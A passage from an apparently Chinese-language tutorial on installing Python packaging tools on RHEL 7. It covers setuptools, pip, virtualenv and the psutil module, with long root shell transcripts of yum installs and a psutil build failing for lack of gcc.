| License : Python or ZPLv2.0 259 | Signature : RSA/SHA256, Fri 07 Aug 2015 02:30:06 PM CST, Key ID 199e2f91fd431d51 260 | Source RPM : python-setuptools-0.9.8-4.el7.src.rpm 261 | Build Date : Tue 30 Jun 2015 06:44:38 PM CST 262 | Build Host : x86-024.build.eng.bos.redhat.com 263 | Relocations : (not relocatable) 264 | Packager : Red Hat, Inc. 265 | Vendor : Red Hat, Inc. 266 | URL : http://pypi.python.org/pypi/setuptools 267 | Summary : Easily build and distribute Python packages 268 | Description : 269 | Setuptools is a collection of enhancements to the Python distutils that allow 270 | you to more easily build and distribute Python packages, especially ones that 271 | have dependencies on other packages. 272 | 273 | This package contains the runtime components of setuptools, necessary to 274 | execute the software that requires pkg_resources.py. 275 | 276 | This package contains the distribute fork of setuptools. 277 | 278 | [root@workstation0 tmp]# rpm -ql python-setuptools 279 | /usr/bin/easy_install 280 | /usr/bin/easy_install-2.7 281 | ... 282 | 283 | /usr/share/doc/python-setuptools-0.9.8/docs/python3.txt 284 | /usr/share/doc/python-setuptools-0.9.8/docs/roadmap.txt 285 | /usr/share/doc/python-setuptools-0.9.8/docs/setuptools.txt 286 | /usr/share/doc/python-setuptools-0.9.8/docs/using.txt 287 | /usr/share/doc/python-setuptools-0.9.8/psfl.txt 288 | /usr/share/doc/python-setuptools-0.9.8/zpl.txt 289 | 290 | ``` 291 | 292 | 293 | #### setuptools的使用 294 | 295 | easy_install 包名 296 | easy_install 安装包路径。(路径可以填写一个url,系统会从网络上下载安装) 297 | 在软件的分发包中找到setup.py,直接运行python setup.py install 298 | 299 | 进一步资料请参考:https://setuptools.readthedocs.io/en/latest/easy_install.html 300 | 301 | ```shell 302 | [root@workstation0 tmp]# easy_install --help 303 | ... 304 | usage: easy_install [options] requirement_or_url ... 305 | or: easy_install --help 306 | ``` 307 | 308 | 309 | ### pip 310 | 311 | 系统中必须有pip,具体请咨询管理员。或者下载该文件: 312 | 313 | https://bootstrap.pypa.io/get-pip.py 314 | 315 | 使用python执行安装(注意需要管理员权限)。 316 | 317 | #### pip的使用 318 | 319 | pip install 包名 320 | pip install -r requirements.txt (自动处理里面的所有依赖) 321 | 322 | ### virtualenv 323 | 324 | 功能:用于隔离出一套独立的环境,可以在里面安装各种包,而不对系统造成影响。 325 | 326 | 使用场景:可以在用户目录中安装包,无需系统权限。也可以隔离多个环境,安装不同版本的不同程序。 327 | 328 | 限制:virtualenv本身,及其依赖的Python是无法隔离的。 329 | 330 | ```shell 331 | [root@workstation0 tmp]# yum list|grep virtualenv 332 | Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast 333 | python-virtualenv.noarch 1.10.1-2.el7 rhel_dvd 334 | [root@workstation0 tmp]# rpm -q python-virtualenv 335 | package python-virtualenv is not installed 336 | [root@workstation0 tmp]# rpm -q python-virtualenv 337 | package python-virtualenv is not installed 338 | [root@workstation0 tmp]# yum install -y python-virtualenv 339 | Loaded plugins: langpacks, product-id, search-disabled-repos, 340 | : subscription-manager 341 | This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register. 342 | Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast 343 | rhel_dvd | 4.1 kB 00:00 344 | Resolving Dependencies 345 | --> Running transaction check 346 | ---> Package python-virtualenv.noarch 0:1.10.1-2.el7 will be installed 347 | --> Processing Dependency: python2-devel for package: python-virtualenv-1.10.1-2.el7.noarch 348 | --> Running transaction check 349 | ---> Package python-devel.x86_64 0:2.7.5-34.el7 will be installed 350 | --> Finished Dependency Resolution 351 | 352 | Dependencies Resolved 353 | 354 | ==================================================================== 355 | Package Arch Version Repository Size 356 | ==================================================================== 357 | Installing: 358 | python-virtualenv noarch 1.10.1-2.el7 rhel_dvd 1.2 M 359 | Installing for dependencies: 360 | python-devel x86_64 2.7.5-34.el7 rhel_dvd 391 k 361 | 362 | Transaction Summary 363 | ==================================================================== 364 | Install 1 Package (+1 Dependent package) 365 | 366 | Total download size: 1.6 M 367 | Installed size: 2.6 M 368 | Downloading packages: 369 | (1/2): python-devel-2.7.5-34.el7.x86_64.rpm | 391 kB 00:00 370 | (2/2): python-virtualenv-1.10.1-2.el7.noarch.r | 1.2 MB 00:00 371 | -------------------------------------------------------------------- 372 | Total 8.9 MB/s | 1.6 MB 00:00 373 | Running transaction check 374 | Running transaction test 375 | Transaction test succeeded 376 | Running transaction 377 | Installing : python-devel-2.7.5-34.el7.x86_64 1/2 378 | Installing : python-virtualenv-1.10.1-2.el7.noarch 2/2 379 | Verifying : python-devel-2.7.5-34.el7.x86_64 1/2 380 | Verifying : python-virtualenv-1.10.1-2.el7.noarch 2/2 381 | 382 | Installed: 383 | python-virtualenv.noarch 0:1.10.1-2.el7 384 | 385 | Dependency Installed: 386 | python-devel.x86_64 0:2.7.5-34.el7 387 | 388 | Complete! 389 | [root@workstation0 tmp]# rpm -ql python-virtualenv 390 | /usr/bin/virtualenv 391 | /usr/bin/virtualenv-2.7 392 | /usr/lib/python2.7/site-packages/virtualenv-1.10.1-py2.7.egg-info 393 | /usr/lib/python2.7/site-packages/virtualenv.py 394 | /usr/lib/python2.7/site-packages/virtualenv.pyc 395 | /usr/lib/python2.7/site-packages/virtualenv.pyo 396 | /usr/lib/python2.7/site-packages/virtualenv_support 397 | /usr/lib/python2.7/site-packages/virtualenv_support/__init__.py 398 | /usr/lib/python2.7/site-packages/virtualenv_support/__init__.pyc 399 | /usr/lib/python2.7/site-packages/virtualenv_support/__init__.pyo 400 | /usr/lib/python2.7/site-packages/virtualenv_support/pip-1.4.1.tar.gz 401 | /usr/lib/python2.7/site-packages/virtualenv_support/setuptools-0.9.8.tar.gz 402 | /usr/share/doc/python-virtualenv-1.10.1 403 | /usr/share/doc/python-virtualenv-1.10.1/AUTHORS.txt 404 | /usr/share/doc/python-virtualenv-1.10.1/LICENSE.txt 405 | /usr/share/doc/python-virtualenv-1.10.1/PKG-INFO 406 | /usr/share/doc/python-virtualenv-1.10.1/index.rst 407 | /usr/share/doc/python-virtualenv-1.10.1/news.rst 408 | 409 | [root@workstation0 tmp]# virtualenv --help 410 | Usage: virtualenv [OPTIONS] DEST_DIR 411 | 412 | ``` 413 | 414 | 415 | #### virtualenv的使用 416 | 417 | 建立环境:virtualenv 目录名 418 | 419 | 激活环境:进入目录后执行source bin/activate 420 | 421 | 退出激活环境:deactivate 422 | 423 | 隔离环境内的安装:pip或者setup.py均可 424 | 425 | 注意:安装库时需要编译的,系统中必须有编译工具链。 426 | 427 | ```shell 428 | [root@workstation0 ~]# mkdir booboo 429 | [root@workstation0 ~]# virtualenv booboo 430 | New python executable in booboo/bin/python 431 | Installing Setuptools..............................................................................................................................................................................................................................done. 432 | Installing Pip.....................................................................................................................................................................................................................................................................................................................................done. 433 | [root@workstation0 ~]# source bin/activate 434 | -bash: bin/activate: No such file or directory 435 | [root@workstation0 ~]# find / -name "activate" 436 | /root/booboo/bin/activate 437 | [root@workstation0 ~]# source /root/booboo/bin/activate 438 | (booboo)[root@workstation0 ~]# 439 | (booboo)[root@workstation0 ~]# ll booboo 440 | total 4 441 | drwxr-xr-x. 2 root root 4096 Oct 17 15:45 bin 442 | drwxr-xr-x. 2 root root 22 Oct 17 15:45 include 443 | drwxr-xr-x. 3 root root 22 Oct 17 15:45 lib 444 | lrwxrwxrwx. 1 root root 3 Oct 17 15:45 lib64 -> lib 445 | 446 | ``` 447 | 448 | #### 访问系统库 449 | 450 | 如果在使用virtualenv的同时,也想使用系统中安装的库。那么需要在创建环境时用--system-site-packages参数。 451 | 452 | 从工程管理角度,我们不推荐这种办法。建议将系统中的所有库在虚环境中再安装一次。 453 | 454 | 455 | #### 虚拟环境的发布 456 | 457 | 使用virtualenv生成的虚拟环境可以迁移到其他机器上,从而允许将运行环境在多台机器上迁移。但是需要注意以下事项: 458 | 459 | * virtualenv依赖于目录工作,所以所有机器上virtualenv必须处于同一路径下。 460 | * virtualenv不能隔离系统/Python基础环境。因此所有机器必须同构,并且Python环境基本一致。 461 | * 里面所安装的库所依赖的其他系统文件,例如动态运行库,数据文件。如果不在virtualenv里安装的,则每个系统上均需要自行安装。 462 | 463 | 464 | #### 更进一步资料 465 | 466 | 请参考这里: 467 | 468 | https://virtualenv.pypa.io/en/stable/userguide/ 469 | 470 | 471 | ### 软件包安装和管理建议 472 | 473 | Python默认情况下会试图将软件包安装到系统里,如果不具备管理员权限,需要使用virtualenv来安装软件包。 474 | 475 | 对于Debian/Ubuntu而言,安装软件的第一选择是apt系统。如果找不到包,或版本不对,建议采用virtualenv + pip的方式安装。 476 | 477 | 对于RHEL/CentOS而言,安装软件的第一选择是yum系统。如果找不到包,或版本不对,建议采用virtualenv + pip的方式安装。 478 | 479 | 对于Windows/MacOS而言,建议使用virtualenv + pip的方式安装。 480 | 481 | 482 | # python实例-psutil系统基础信息模块详解 483 | 484 | 485 | 486 | ## Python实践1——virtualenv的使用 487 | 488 | 建立环境:virtualenv 目录名 489 | 490 | 激活环境:进入目录后执行source bin/activate 491 | 492 | 退出激活环境:deactivate 493 | 494 | 隔离环境内的安装:pip或者setup.py均可 495 | 496 | 注意:安装库时需要编译的,系统中必须有编译工具链。 497 | 498 | ```shell 499 | [root@workstation0 ~]# yum list|grep python-vir 500 | Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast 501 | python-virtualenv.noarch 1.10.1-2.el7 rhel_dvd 502 | [root@workstation0 ~]# yum install -y python-virtualenv 503 | Loaded plugins: product-id, search-disabled-repos, subscription-manager 504 | This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register. 505 | Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast 506 | rhel_dvd | 4.1 kB 00:00 507 | Resolving Dependencies 508 | --> Running transaction check 509 | ---> Package python-virtualenv.noarch 0:1.10.1-2.el7 will be installed 510 | --> Processing Dependency: python-setuptools for package: python-virtualenv-1.10.1-2.el7.noarch 511 | --> Processing Dependency: python2-devel for package: python-virtualenv-1.10.1-2.el7.noarch 512 | --> Running transaction check 513 | ---> Package python-devel.x86_64 0:2.7.5-34.el7 will be installed 514 | ---> Package python-setuptools.noarch 0:0.9.8-4.el7 will be installed 515 | --> Processing Dependency: python-backports-ssl_match_hostname for package: python-setuptools-0.9.8-4.el7.noarch 516 | --> Running transaction check 517 | ---> Package python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.el7 will be installed 518 | --> Processing Dependency: python-backports for package: python-backports-ssl_match_hostname-3.4.0.2-4.el7.noarch 519 | --> Running transaction check 520 | ---> Package python-backports.x86_64 0:1.0-8.el7 will be installed 521 | --> Finished Dependency Resolution 522 | 523 | Dependencies Resolved 524 | 525 | ================================================================================ 526 | Package Arch Version Repository 527 | Size 528 | ================================================================================ 529 | Installing: 530 | python-virtualenv noarch 1.10.1-2.el7 rhel_dvd 1.2 M 531 | Installing for dependencies: 532 | python-backports x86_64 1.0-8.el7 rhel_dvd 5.8 k 533 | python-backports-ssl_match_hostname noarch 3.4.0.2-4.el7 rhel_dvd 12 k 534 | python-devel x86_64 2.7.5-34.el7 rhel_dvd 391 k 535 | python-setuptools noarch 0.9.8-4.el7 rhel_dvd 397 k 536 | 537 | Transaction Summary 538 | ================================================================================ 539 | Install 1 Package (+4 Dependent packages) 540 | 541 | Total download size: 2.0 M 542 | Installed size: 4.6 M 543 | Downloading packages: 544 | (1/5): python-backports-ssl_match_hostname-3.4.0.2-4.el7.n | 12 kB 00:00 545 | (2/5): python-backports-1.0-8.el7.x86_64.rpm | 5.8 kB 00:00 546 | (3/5): python-devel-2.7.5-34.el7.x86_64.rpm | 391 kB 00:00 547 | (4/5): python-setuptools-0.9.8-4.el7.noarch.rpm | 397 kB 00:00 548 | (5/5): python-virtualenv-1.10.1-2.el7.noarch.rpm | 1.2 MB 00:00 549 | -------------------------------------------------------------------------------- 550 | Total 5.1 MB/s | 2.0 MB 00:00 551 | Running transaction check 552 | Running transaction test 553 | Transaction test succeeded 554 | Running transaction 555 | Installing : python-backports-1.0-8.el7.x86_64 1/5 556 | Installing : python-backports-ssl_match_hostname-3.4.0.2-4.el7.noarch 2/5 557 | Installing : python-setuptools-0.9.8-4.el7.noarch 3/5 558 | Installing : python-devel-2.7.5-34.el7.x86_64 4/5 559 | Installing : python-virtualenv-1.10.1-2.el7.noarch 5/5 560 | Verifying : python-devel-2.7.5-34.el7.x86_64 1/5 561 | Verifying : python-setuptools-0.9.8-4.el7.noarch 2/5 562 | Verifying : python-backports-1.0-8.el7.x86_64 3/5 563 | Verifying : python-backports-ssl_match_hostname-3.4.0.2-4.el7.noarch 4/5 564 | Verifying : python-virtualenv-1.10.1-2.el7.noarch 5/5 565 | 566 | Installed: 567 | python-virtualenv.noarch 0:1.10.1-2.el7 568 | 569 | Dependency Installed: 570 | python-backports.x86_64 0:1.0-8.el7 571 | python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.el7 572 | python-devel.x86_64 0:2.7.5-34.el7 573 | python-setuptools.noarch 0:0.9.8-4.el7 574 | 575 | Complete! 576 | [root@workstation0 ~]# mkdir /tmp/python 577 | [root@workstation0 ~]# virt 578 | virtualenv virtualenv-2.7 virt-what 579 | [root@workstation0 ~]# virtalenv /tmp/python 580 | -bash: virtalenv: command not found 581 | [root@workstation0 ~]# virtualenv /tmp/python 582 | New python executable in /tmp/python/bin/python 583 | Installing Setuptools..............................................................................................................................................................................................................................done. 584 | Installing Pip.....................................................................................................................................................................................................................................................................................................................................done. 585 | [root@workstation0 ~]# cd /tmp/python 586 | [root@workstation0 python]# ls 587 | bin include lib lib64 588 | [root@workstation0 python]# source bin/ 589 | activate activate_this.py pip python2 590 | activate.csh easy_install pip-2.7 python2.7 591 | activate.fish easy_install-2.7 python 592 | [root@workstation0 python]# source bin/activate 593 | (python)[root@workstation0 python]# 594 | (python)[root@workstation0 python]# 595 | (python)[root@workstation0 python]# which pip 596 | /tmp/python/bin/pip 597 | ``` 598 | 599 | ## Python实践2——virtualenv中安装psutil系统性能信息模块 600 | 601 | psutil是一个跨平台库(https://pypi.python.org/packages),能够轻 602 | 松实现获取系统运行的进程和系统利用率(包括CPU、内存、磁盘、网 603 | 络等)信息。它主要应用于系统监控,分析和限制系统资源及进程的管 604 | 理。它实现了同等命令行工具提供的功能,如ps、top、lsof、netstat、 605 | ifconfig、who、df、kill、free、nice、ionice、iostat、iotop、uptime、 606 | pidof、tty、taskset、pmap等。 607 | 608 | ```shell 609 | # 第一次尝试安装时,报错说缺少gcc 610 | (python)[root@workstation0 python]# wget psutil-4.3.1.tar.gz 611 | (python)[root@workstation0 python]# ls 612 | anaconda-ks.cfg psutil-4.3.1 psutil-4.3.1.tar.gz 613 | (python)[root@workstation0 python]# cd psutil-4.3.1 614 | (python)[root@workstation0 python]# ls 615 | appveyor.yml DEVGUIDE.rst HISTORY.rst INSTALL.rst make.bat MANIFEST.in psutil README.rst setup.cfg tox.ini 616 | CREDITS docs IDEAS LICENSE Makefile PKG-INFO psutil.egg-info scripts setup.py 617 | 618 | (python)[root@workstation0 python]# pip install psutil 619 | Downloading/unpacking psutil 620 | Downloading psutil-4.3.1.tar.gz (315kB): 315kB downloaded 621 | Running setup.py egg_info for package psutil 622 | 623 | warning: no previously-included files matching '*' found under directory 'docs/_build' 624 | Installing collected packages: psutil 625 | Running setup.py install for psutil 626 | building 'psutil._psutil_linux' extension 627 | gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -DPSUTIL_ETHTOOL_MISSING_TYPES=1 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o 628 | unable to execute gcc: No such file or directory 629 | error: command 'gcc' failed with exit status 1 630 | Complete output from command /tmp/python/bin/python -c "import setuptools;__file__='/tmp/python/build/psutil/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-UX0HuE-record/install-record.txt --single-version-externally-managed --install-headers /tmp/python/include/site/python2.7: 631 | running install 632 | 633 | running build 634 | 635 | running build_py 636 | 637 | creating build 638 | 639 | creating build/lib.linux-x86_64-2.7 640 | 641 | creating build/lib.linux-x86_64-2.7/psutil 642 | 643 | copying psutil/_psposix.py -> build/lib.linux-x86_64-2.7/psutil 644 | 645 | copying psutil/_psbsd.py -> build/lib.linux-x86_64-2.7/psutil 646 | 647 | copying psutil/_pssunos.py -> build/lib.linux-x86_64-2.7/psutil 648 | 649 | copying psutil/_pslinux.py -> build/lib.linux-x86_64-2.7/psutil 650 | 651 | copying psutil/_common.py -> build/lib.linux-x86_64-2.7/psutil 652 | 653 | copying psutil/__init__.py -> build/lib.linux-x86_64-2.7/psutil 654 | 655 | copying psutil/_psosx.py -> build/lib.linux-x86_64-2.7/psutil 656 | 657 | copying psutil/_compat.py -> build/lib.linux-x86_64-2.7/psutil 658 | 659 | copying psutil/_pswindows.py -> build/lib.linux-x86_64-2.7/psutil 660 | 661 | creating build/lib.linux-x86_64-2.7/psutil/tests 662 | 663 | copying psutil/tests/test_bsd.py -> build/lib.linux-x86_64-2.7/psutil/tests 664 | 665 | copying psutil/tests/test_memory_leaks.py -> build/lib.linux-x86_64-2.7/psutil/tests 666 | 667 | copying psutil/tests/test_system.py -> build/lib.linux-x86_64-2.7/psutil/tests 668 | 669 | copying psutil/tests/test_linux.py -> build/lib.linux-x86_64-2.7/psutil/tests 670 | 671 | copying psutil/tests/test_misc.py -> build/lib.linux-x86_64-2.7/psutil/tests 672 | 673 | copying psutil/tests/__init__.py -> build/lib.linux-x86_64-2.7/psutil/tests 674 | 675 | copying psutil/tests/test_osx.py -> build/lib.linux-x86_64-2.7/psutil/tests 676 | 677 | copying psutil/tests/test_process.py -> build/lib.linux-x86_64-2.7/psutil/tests 678 | 679 | copying psutil/tests/test_windows.py -> build/lib.linux-x86_64-2.7/psutil/tests 680 | 681 | copying psutil/tests/runner.py -> build/lib.linux-x86_64-2.7/psutil/tests 682 | 683 | copying psutil/tests/test_posix.py -> build/lib.linux-x86_64-2.7/psutil/tests 684 | 685 | copying psutil/tests/test_sunos.py -> build/lib.linux-x86_64-2.7/psutil/tests 686 | 687 | running build_ext 688 | 689 | building 'psutil._psutil_linux' extension 690 | 691 | creating build/temp.linux-x86_64-2.7 692 | 693 | creating build/temp.linux-x86_64-2.7/psutil 694 | 695 | gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -DPSUTIL_ETHTOOL_MISSING_TYPES=1 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o 696 | 697 | unable to execute gcc: No such file or directory 698 | 699 | error: command 'gcc' failed with exit status 1 700 | 701 | ---------------------------------------- 702 | Cleaning up... 703 | Command /tmp/python/bin/python -c "import setuptools;__file__='/tmp/python/build/psutil/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-UX0HuE-record/install-record.txt --single-version-externally-managed --install-headers /tmp/python/include/site/python2.7 failed with error code 1 in /tmp/python/build/psutil 704 | Storing complete log in /root/.pip/pip.log 705 | 706 | # 安装gcc软件 707 | (python)[root@workstation0 python]# yum install -y gcc* 708 | Loaded plugins: product-id, search-disabled-repos, subscription-manager 709 | This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register. 710 | Resolving Dependencies 711 | --> Running transaction check 712 | ---> Package gcc.x86_64 0:4.8.5-4.el7 will be installed 713 | --> Processing Dependency: cpp = 4.8.5-4.el7 for package: gcc-4.8.5-4.el7.x86_64 714 | --> Processing Dependency: glibc-devel >= 2.2.90-12 for package: gcc-4.8.5-4.el7.x86_64 715 | --> Processing Dependency: libmpc.so.3()(64bit) for package: gcc-4.8.5-4.el7.x86_64 716 | --> Processing Dependency: libmpfr.so.4()(64bit) for package: gcc-4.8.5-4.el7.x86_64 717 | ---> Package gcc-c++.x86_64 0:4.8.5-4.el7 will be installed 718 | --> Processing Dependency: libstdc++-devel = 4.8.5-4.el7 for package: gcc-c++-4.8.5-4.el7.x86_64 719 | ---> Package gcc-gfortran.x86_64 0:4.8.5-4.el7 will be installed 720 | --> Processing Dependency: libgfortran = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-4.el7.x86_64 721 | --> Processing Dependency: libquadmath = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-4.el7.x86_64 722 | --> Processing Dependency: libquadmath-devel = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-4.el7.x86_64 723 | --> Processing Dependency: libgfortran.so.3()(64bit) for package: gcc-gfortran-4.8.5-4.el7.x86_64 724 | ---> Package gcc-gnat.x86_64 0:4.8.5-4.el7 will be installed 725 | --> Processing Dependency: libgnat = 4.8.5-4.el7 for package: gcc-gnat-4.8.5-4.el7.x86_64 726 | --> Processing Dependency: libgnat-devel = 4.8.5-4.el7 for package: gcc-gnat-4.8.5-4.el7.x86_64 727 | ---> Package gcc-objc.x86_64 0:4.8.5-4.el7 will be installed 728 | --> Processing Dependency: libobjc = 4.8.5-4.el7 for package: gcc-objc-4.8.5-4.el7.x86_64 729 | --> Processing Dependency: libobjc.so.4()(64bit) for package: gcc-objc-4.8.5-4.el7.x86_64 730 | ---> Package gcc-objc++.x86_64 0:4.8.5-4.el7 will be installed 731 | --> Running transaction check 732 | ---> Package cpp.x86_64 0:4.8.5-4.el7 will be installed 733 | ---> Package glibc-devel.x86_64 0:2.17-105.el7 will be installed 734 | --> Processing Dependency: glibc-headers = 2.17-105.el7 for package: glibc-devel-2.17-105.el7.x86_64 735 | --> Processing Dependency: glibc-headers for package: glibc-devel-2.17-105.el7.x86_64 736 | ---> Package libgfortran.x86_64 0:4.8.5-4.el7 will be installed 737 | ---> Package libgnat.x86_64 0:4.8.5-4.el7 will be installed 738 | ---> Package libgnat-devel.x86_64 0:4.8.5-4.el7 will be installed 739 | ---> Package libmpc.x86_64 0:1.0.1-3.el7 will be installed 740 | ---> Package libobjc.x86_64 0:4.8.5-4.el7 will be installed 741 | ---> Package libquadmath.x86_64 0:4.8.5-4.el7 will be installed 742 | ---> Package libquadmath-devel.x86_64 0:4.8.5-4.el7 will be installed 743 | ---> Package libstdc++-devel.x86_64 0:4.8.5-4.el7 will be installed 744 | ---> Package mpfr.x86_64 0:3.1.1-4.el7 will be installed 745 | --> Running transaction check 746 | ---> Package glibc-headers.x86_64 0:2.17-105.el7 will be installed 747 | --> Processing Dependency: kernel-headers >= 2.2.1 for package: glibc-headers-2.17-105.el7.x86_64 748 | --> Processing Dependency: kernel-headers for package: glibc-headers-2.17-105.el7.x86_64 749 | --> Running transaction check 750 | ---> Package kernel-headers.x86_64 0:3.10.0-327.el7 will be installed 751 | --> Finished Dependency Resolution 752 | 753 | Dependencies Resolved 754 | 755 | ================================================================================ 756 | Package Arch Version Repository Size 757 | ================================================================================ 758 | Installing: 759 | gcc x86_64 4.8.5-4.el7 rhel_dvd 16 M 760 | gcc-c++ x86_64 4.8.5-4.el7 rhel_dvd 7.2 M 761 | gcc-gfortran x86_64 4.8.5-4.el7 rhel_dvd 6.6 M 762 | gcc-gnat x86_64 4.8.5-4.el7 rhel_dvd 13 M 763 | gcc-objc x86_64 4.8.5-4.el7 rhel_dvd 5.7 M 764 | gcc-objc++ x86_64 4.8.5-4.el7 rhel_dvd 6.1 M 765 | Installing for dependencies: 766 | cpp x86_64 4.8.5-4.el7 rhel_dvd 5.9 M 767 | glibc-devel x86_64 2.17-105.el7 rhel_dvd 1.0 M 768 | glibc-headers x86_64 2.17-105.el7 rhel_dvd 661 k 769 | kernel-headers x86_64 3.10.0-327.el7 rhel_dvd 3.2 M 770 | libgfortran x86_64 4.8.5-4.el7 rhel_dvd 293 k 771 | libgnat x86_64 4.8.5-4.el7 rhel_dvd 960 k 772 | libgnat-devel x86_64 4.8.5-4.el7 rhel_dvd 2.7 M 773 | libmpc x86_64 1.0.1-3.el7 rhel_dvd 51 k 774 | libobjc x86_64 4.8.5-4.el7 rhel_dvd 73 k 775 | libquadmath x86_64 4.8.5-4.el7 rhel_dvd 182 k 776 | libquadmath-devel x86_64 4.8.5-4.el7 rhel_dvd 46 k 777 | libstdc++-devel x86_64 4.8.5-4.el7 rhel_dvd 1.5 M 778 | mpfr x86_64 3.1.1-4.el7 rhel_dvd 203 k 779 | 780 | Transaction Summary 781 | ================================================================================ 782 | Install 6 Packages (+13 Dependent packages) 783 | 784 | Total download size: 71 M 785 | Installed size: 188 M 786 | Downloading packages: 787 | (1/19): cpp-4.8.5-4.el7.x86_64.rpm | 5.9 MB 00:00 788 | (2/19): gcc-c++-4.8.5-4.el7.x86_64.rpm | 7.2 MB 00:00 789 | (3/19): gcc-4.8.5-4.el7.x86_64.rpm | 16 MB 00:00 790 | (4/19): gcc-gfortran-4.8.5-4.el7.x86_64.rpm | 6.6 MB 00:00 791 | (5/19): gcc-gnat-4.8.5-4.el7.x86_64.rpm | 13 MB 00:00 792 | (6/19): gcc-objc-4.8.5-4.el7.x86_64.rpm | 5.7 MB 00:00 793 | (7/19): gcc-objc++-4.8.5-4.el7.x86_64.rpm | 6.1 MB 00:00 794 | (8/19): glibc-devel-2.17-105.el7.x86_64.rpm | 1.0 MB 00:00 795 | (9/19): glibc-headers-2.17-105.el7.x86_64.rpm | 661 kB 00:00 796 | (10/19): kernel-headers-3.10.0-327.el7.x86_64.rpm | 3.2 MB 00:00 797 | (11/19): libgfortran-4.8.5-4.el7.x86_64.rpm | 293 kB 00:00 798 | (12/19): libgnat-4.8.5-4.el7.x86_64.rpm | 960 kB 00:00 799 | (13/19): libgnat-devel-4.8.5-4.el7.x86_64.rpm | 2.7 MB 00:00 800 | (14/19): libmpc-1.0.1-3.el7.x86_64.rpm | 51 kB 00:00 801 | (15/19): libquadmath-4.8.5-4.el7.x86_64.rpm | 182 kB 00:00 802 | (16/19): libobjc-4.8.5-4.el7.x86_64.rpm | 73 kB 00:00 803 | (17/19): libquadmath-devel-4.8.5-4.el7.x86_64.rpm | 46 kB 00:00 804 | (18/19): mpfr-3.1.1-4.el7.x86_64.rpm | 203 kB 00:00 805 | (19/19): libstdc++-devel-4.8.5-4.el7.x86_64.rpm | 1.5 MB 00:00 806 | -------------------------------------------------------------------------------- 807 | Total 33 MB/s | 71 MB 00:02 808 | Running transaction check 809 | Running transaction test 810 | Transaction test succeeded 811 | Running transaction 812 | Installing : mpfr-3.1.1-4.el7.x86_64 1/19 813 | Installing : libmpc-1.0.1-3.el7.x86_64 2/19 814 | Installing : libquadmath-4.8.5-4.el7.x86_64 3/19 815 | Installing : libgfortran-4.8.5-4.el7.x86_64 4/19 816 | Installing : cpp-4.8.5-4.el7.x86_64 5/19 817 | Installing : libgnat-devel-4.8.5-4.el7.x86_64 6/19 818 | Installing : libgnat-4.8.5-4.el7.x86_64 7/19 819 | Installing : kernel-headers-3.10.0-327.el7.x86_64 8/19 820 | Installing : glibc-headers-2.17-105.el7.x86_64 9/19 821 | Installing : glibc-devel-2.17-105.el7.x86_64 10/19 822 | Installing : gcc-4.8.5-4.el7.x86_64 11/19 823 | Installing : libquadmath-devel-4.8.5-4.el7.x86_64 12/19 824 | Installing : libobjc-4.8.5-4.el7.x86_64 13/19 825 | Installing : gcc-objc-4.8.5-4.el7.x86_64 14/19 826 | Installing : libstdc++-devel-4.8.5-4.el7.x86_64 15/19 827 | Installing : gcc-c++-4.8.5-4.el7.x86_64 16/19 828 | Installing : gcc-objc++-4.8.5-4.el7.x86_64 17/19 829 | Installing : gcc-gfortran-4.8.5-4.el7.x86_64 18/19 830 | Installing : gcc-gnat-4.8.5-4.el7.x86_64 19/19 831 | Verifying : libstdc++-devel-4.8.5-4.el7.x86_64 1/19 832 | Verifying : gcc-objc-4.8.5-4.el7.x86_64 2/19 833 | Verifying : libquadmath-devel-4.8.5-4.el7.x86_64 3/19 834 | Verifying : gcc-4.8.5-4.el7.x86_64 4/19 835 | Verifying : libquadmath-4.8.5-4.el7.x86_64 5/19 836 | Verifying : cpp-4.8.5-4.el7.x86_64 6/19 837 | Verifying : gcc-objc++-4.8.5-4.el7.x86_64 7/19 838 | Verifying : mpfr-3.1.1-4.el7.x86_64 8/19 839 | Verifying : glibc-headers-2.17-105.el7.x86_64 9/19 840 | Verifying : glibc-devel-2.17-105.el7.x86_64 10/19 841 | Verifying : libobjc-4.8.5-4.el7.x86_64 11/19 842 | Verifying : gcc-gfortran-4.8.5-4.el7.x86_64 12/19 843 | Verifying : libgfortran-4.8.5-4.el7.x86_64 13/19 844 | Verifying : gcc-c++-4.8.5-4.el7.x86_64 14/19 845 | Verifying : libmpc-1.0.1-3.el7.x86_64 15/19 846 | Verifying : gcc-gnat-4.8.5-4.el7.x86_64 16/19 847 | Verifying : kernel-headers-3.10.0-327.el7.x86_64 17/19 848 | Verifying : libgnat-4.8.5-4.el7.x86_64 18/19 849 | 